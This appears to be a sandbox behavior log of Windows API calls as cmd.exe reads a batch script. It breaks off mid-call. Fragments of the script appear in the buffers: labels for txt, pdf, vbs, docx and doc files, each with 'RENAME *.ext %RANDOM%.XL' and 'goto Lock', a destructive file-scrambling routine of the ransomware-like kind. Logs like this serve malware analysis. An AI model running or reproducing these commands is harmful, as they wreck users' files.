1 [0040.083] SetFilePointer (in: hFile=0x74, lDistanceToMove=3025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0040.083] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0040.083] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.083] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0040.083] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.083] GetFileType (hFile=0x74) returned 0x1 [0040.083] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0040.083] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.083] SetFilePointer (in: hFile=0x74, lDistanceToMove=3027, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0040.083] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0040.083] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.083] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0040.083] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.083] GetFileType (hFile=0x74) returned 0x1 [0040.083] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0040.083] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.084] SetFilePointer (in: hFile=0x74, lDistanceToMove=3053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0040.084] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0040.084] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.084] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0040.084] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.084] GetFileType (hFile=0x74) returned 0x1 [0040.084] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0040.084] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.084] SetFilePointer (in: hFile=0x74, lDistanceToMove=3064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0040.084] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0040.084] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.084] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0040.084] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.084] GetFileType (hFile=0x74) returned 0x1 [0040.084] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0040.084] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.084] SetFilePointer (in: hFile=0x74, lDistanceToMove=3066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0040.085] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.085] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.085] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0040.085] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.085] GetFileType (hFile=0x74) returned 0x1 [0040.085] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0040.085] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.085] SetFilePointer (in: hFile=0x74, lDistanceToMove=3072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0040.085] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0040.085] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.085] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0040.085] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.085] GetFileType (hFile=0x74) returned 0x1 [0040.085] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0040.085] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.085] SetFilePointer (in: hFile=0x74, lDistanceToMove=3074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0040.085] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0040.085] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0040.086] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.086] GetFileType (hFile=0x74) returned 0x1 [0040.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0040.086] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=3100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0040.086] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0040.086] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0040.086] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.086] GetFileType (hFile=0x74) returned 0x1 [0040.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0040.086] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=3111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0040.086] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0040.086] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0040.086] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.087] GetFileType (hFile=0x74) returned 0x1 [0040.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0040.087] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=3113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0040.087] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.087] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0040.087] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.087] GetFileType (hFile=0x74) returned 0x1 [0040.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0040.087] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=3119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0040.087] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0040.087] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0040.087] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.087] GetFileType (hFile=0x74) returned 0x1 [0040.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0040.088] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.088] SetFilePointer (in: hFile=0x74, lDistanceToMove=3121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0040.088] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0040.088] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.088] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0040.088] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.088] GetFileType (hFile=0x74) returned 0x1 [0040.088] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0040.088] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.088] SetFilePointer (in: hFile=0x74, lDistanceToMove=3147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0040.088] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0040.088] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.088] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0040.088] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.088] GetFileType (hFile=0x74) returned 0x1 [0040.088] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0040.088] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.088] SetFilePointer (in: hFile=0x74, lDistanceToMove=3158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0040.089] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0040.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0040.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.089] GetFileType (hFile=0x74) returned 0x1 [0040.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0040.089] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=3160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0040.089] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0040.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.089] GetFileType (hFile=0x74) returned 0x1 [0040.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0040.089] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=3167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0040.089] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0040.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0040.090] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.090] GetFileType (hFile=0x74) returned 0x1 [0040.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0040.090] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=3169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0040.090] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0040.090] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0040.090] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.090] GetFileType (hFile=0x74) returned 0x1 [0040.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0040.090] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=3196, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0040.090] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\n\n") returned 27 [0040.090] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0040.090] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.091] GetFileType (hFile=0x74) returned 0x1 [0040.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0040.091] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=3207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0040.091] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0040.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0040.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.091] GetFileType (hFile=0x74) returned 0x1 [0040.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0040.091] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=3209, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0040.091] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0040.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.091] GetFileType (hFile=0x74) returned 0x1 [0040.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0040.092] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=3215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0040.092] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0040.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0040.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.092] GetFileType (hFile=0x74) returned 0x1 [0040.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0040.092] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=3217, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0040.092] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0040.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0040.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.092] GetFileType (hFile=0x74) returned 0x1 [0040.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0040.092] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=3243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0040.093] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0040.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0040.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.093] GetFileType (hFile=0x74) returned 0x1 [0040.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0040.093] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=3254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0040.093] MultiByteToWideChar (in: CodePage=0x1b5, 